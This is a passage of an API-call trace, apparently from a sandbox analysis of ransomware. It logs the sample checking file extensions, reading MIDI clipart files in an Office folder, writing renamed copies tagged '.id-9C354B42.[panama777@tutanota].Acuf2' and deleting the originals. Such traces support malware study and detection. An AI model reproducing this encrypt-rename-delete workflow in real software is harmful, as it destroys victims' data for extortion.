	[0255.394] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.394] lstrlenW (lpString=".xlsx") returned 5
	[0255.394] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1
	[0255.394] lstrlenW (lpString=".ppt") returned 4
	[0255.394] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63
	[0255.395] lstrlenW (lpString=".zip") returned 4
	[0255.395] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.395] lstrlenW (lpString=".rar") returned 4
	[0255.395] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.395] lstrlenW (lpString=".bz2") returned 4
	[0255.395] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.395] lstrlenW (lpString=".7z") returned 3
	[0255.395] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63
	[0255.395] lstrlenW (lpString=".dbf") returned 4
	[0255.395] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63
	[0255.395] lstrlenW (lpString=".1cd") returned 4
	[0255.395] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63
	[0255.395] lstrlenW (lpString=".jpg") returned 4
	[0255.395] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.395] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.395] lstrlenW (lpString="PARNT_05.MID") returned 12
	[0255.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.451] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=6020) returned 1
	[0255.451] CloseHandle (hObject=0x2a4) returned 1
	[0255.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 0x20
	[0255.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.452] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.452] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0255.456] GetLastError () returned 0x0
	[0255.456] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x1784, lpOverlapped=0x0) returned 1
	[0255.458] WriteFile (in: hFile=0x330, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x1790, lpOverlapped=0x0) returned 1
	[0255.459] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.459] WriteFile (in: hFile=0x330, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.459] SetEndOfFile (hFile=0x330) returned 1
	[0255.459] CloseHandle (hObject=0x330) returned 1
	[0255.459] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.459] SetEndOfFile (hFile=0x2a4) returned 1
	[0255.461] CloseHandle (hObject=0x2a4) returned 1
	[0255.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 1
	[0255.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63
	[0255.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63
	[0255.462] lstrlenW (lpString=".doc") returned 4
	[0255.462] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.462] lstrlenW (lpString=".docx") returned 5
	[0255.462] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1
	[0255.462] lstrlenW (lpString=".pdf") returned 4
	[0255.462] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.462] lstrlenW (lpString=".xls") returned 4
	[0255.462] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.462] lstrlenW (lpString=".xlsx") returned 5
	[0255.462] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1
	[0255.462] lstrlenW (lpString=".ppt") returned 4
	[0255.462] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63
	[0255.462] lstrlenW (lpString=".zip") returned 4
	[0255.462] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.462] lstrlenW (lpString=".rar") returned 4
	[0255.462] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.462] lstrlenW (lpString=".bz2") returned 4
	[0255.462] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.462] lstrlenW (lpString=".7z") returned 3
	[0255.462] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63
	[0255.462] lstrlenW (lpString=".dbf") returned 4
	[0255.462] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63
	[0255.462] lstrlenW (lpString=".1cd") returned 4
	[0255.462] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63
	[0255.462] lstrlenW (lpString=".jpg") returned 4
	[0255.463] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63
	[0255.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63
	[0255.463] lstrlenW (lpString=".doc") returned 4
	[0255.463] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.463] lstrlenW (lpString=".docx") returned 5
	[0255.463] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1
	[0255.463] lstrlenW (lpString=".pdf") returned 4
	[0255.463] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.463] lstrlenW (lpString=".xls") returned 4
	[0255.463] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.463] lstrlenW (lpString=".xlsx") returned 5
	[0255.463] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1
	[0255.463] lstrlenW (lpString=".ppt") returned 4
	[0255.463] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63
	[0255.463] lstrlenW (lpString=".zip") returned 4
	[0255.463] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.463] lstrlenW (lpString=".rar") returned 4
	[0255.463] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.463] lstrlenW (lpString=".bz2") returned 4
	[0255.463] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.463] lstrlenW (lpString=".7z") returned 3
	[0255.463] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63
	[0255.463] lstrlenW (lpString=".dbf") returned 4
	[0255.463] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63
	[0255.464] lstrlenW (lpString=".1cd") returned 4
	[0255.464] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63
	[0255.464] lstrlenW (lpString=".jpg") returned 4
	[0255.464] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.464] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.464] lstrlenW (lpString="PARNT_07.MID") returned 12
	[0255.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.464] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=6564) returned 1
	[0255.464] CloseHandle (hObject=0x2a4) returned 1
	[0255.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 0x20
	[0255.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.465] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.465] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0255.465] GetLastError () returned 0x0
	[0255.465] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x19a4, lpOverlapped=0x0) returned 1
	[0255.467] WriteFile (in: hFile=0x330, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x19b0, lpOverlapped=0x0) returned 1
	[0255.468] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.468] WriteFile (in: hFile=0x330, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.468] SetEndOfFile (hFile=0x330) returned 1
	[0255.468] CloseHandle (hObject=0x330) returned 1
	[0255.468] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.468] SetEndOfFile (hFile=0x2a4) returned 1
	[0255.470] CloseHandle (hObject=0x2a4) returned 1
	[0255.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 1
	[0255.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63
	[0255.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63
	[0255.471] lstrlenW (lpString=".doc") returned 4
	[0255.471] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.471] lstrlenW (lpString=".docx") returned 5
	[0255.471] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1
	[0255.471] lstrlenW (lpString=".pdf") returned 4
	[0255.471] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.471] lstrlenW (lpString=".xls") returned 4
	[0255.471] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.471] lstrlenW (lpString=".xlsx") returned 5
	[0255.471] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1
	[0255.471] lstrlenW (lpString=".ppt") returned 4
	[0255.471] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63
	[0255.471] lstrlenW (lpString=".zip") returned 4
	[0255.471] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.471] lstrlenW (lpString=".rar") returned 4
	[0255.471] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.471] lstrlenW (lpString=".bz2") returned 4
	[0255.471] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.471] lstrlenW (lpString=".7z") returned 3
	[0255.471] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63
	[0255.471] lstrlenW (lpString=".dbf") returned 4
	[0255.471] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63
	[0255.471] lstrlenW (lpString=".1cd") returned 4
	[0255.471] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63
	[0255.472] lstrlenW (lpString=".jpg") returned 4
	[0255.472] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63
	[0255.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63
	[0255.472] lstrlenW (lpString=".doc") returned 4
	[0255.472] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.472] lstrlenW (lpString=".docx") returned 5
	[0255.472] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1
	[0255.472] lstrlenW (lpString=".pdf") returned 4
	[0255.472] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.472] lstrlenW (lpString=".xls") returned 4
	[0255.472] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.472] lstrlenW (lpString=".xlsx") returned 5
	[0255.472] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1
	[0255.472] lstrlenW (lpString=".ppt") returned 4
	[0255.472] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63
	[0255.472] lstrlenW (lpString=".zip") returned 4
	[0255.472] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.472] lstrlenW (lpString=".rar") returned 4
	[0255.472] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.472] lstrlenW (lpString=".bz2") returned 4
	[0255.472] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.472] lstrlenW (lpString=".7z") returned 3
	[0255.472] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63
	[0255.472] lstrlenW (lpString=".dbf") returned 4
	[0255.472] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63
	[0255.472] lstrlenW (lpString=".1cd") returned 4
	[0255.473] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63
	[0255.473] lstrlenW (lpString=".jpg") returned 4
	[0255.473] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.473] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.473] lstrlenW (lpString="PARNT_08.MID") returned 12
	[0255.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.473] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=7347) returned 1
	[0255.544] CloseHandle (hObject=0x2a4) returned 1
	[0255.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20
	[0255.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.787] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.787] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0255.810] GetLastError () returned 0x0
	[0255.811] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x1cb3, lpOverlapped=0x0) returned 1
	[0255.813] WriteFile (in: hFile=0x320, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x1cc0, lpOverlapped=0x0) returned 1
	[0255.813] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.813] WriteFile (in: hFile=0x320, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.813] SetEndOfFile (hFile=0x320) returned 1
	[0255.814] CloseHandle (hObject=0x320) returned 1
	[0255.814] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.814] SetEndOfFile (hFile=0x334) returned 1
	[0255.816] CloseHandle (hObject=0x334) returned 1
	[0255.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 1
	[0255.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63
	[0255.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63
	[0255.872] lstrlenW (lpString=".doc") returned 4
	[0255.872] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.872] lstrlenW (lpString=".docx") returned 5
	[0255.872] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1
	[0255.872] lstrlenW (lpString=".pdf") returned 4
	[0255.872] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.872] lstrlenW (lpString=".xls") returned 4
	[0255.872] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.872] lstrlenW (lpString=".xlsx") returned 5
	[0255.872] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1
	[0255.872] lstrlenW (lpString=".ppt") returned 4
	[0255.872] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63
	[0255.872] lstrlenW (lpString=".zip") returned 4
	[0255.872] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.872] lstrlenW (lpString=".rar") returned 4
	[0255.872] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.872] lstrlenW (lpString=".bz2") returned 4
	[0255.872] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.872] lstrlenW (lpString=".7z") returned 3
	[0255.872] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63
	[0255.872] lstrlenW (lpString=".dbf") returned 4
	[0255.872] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63
	[0255.873] lstrlenW (lpString=".1cd") returned 4
	[0255.873] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63
	[0255.873] lstrlenW (lpString=".jpg") returned 4
	[0255.873] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63
	[0255.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63
	[0255.873] lstrlenW (lpString=".doc") returned 4
	[0255.873] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.873] lstrlenW (lpString=".docx") returned 5
	[0255.873] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1
	[0255.873] lstrlenW (lpString=".pdf") returned 4
	[0255.873] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.873] lstrlenW (lpString=".xls") returned 4
	[0255.873] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.873] lstrlenW (lpString=".xlsx") returned 5
	[0255.873] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1
	[0255.873] lstrlenW (lpString=".ppt") returned 4
	[0255.873] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63
	[0255.873] lstrlenW (lpString=".zip") returned 4
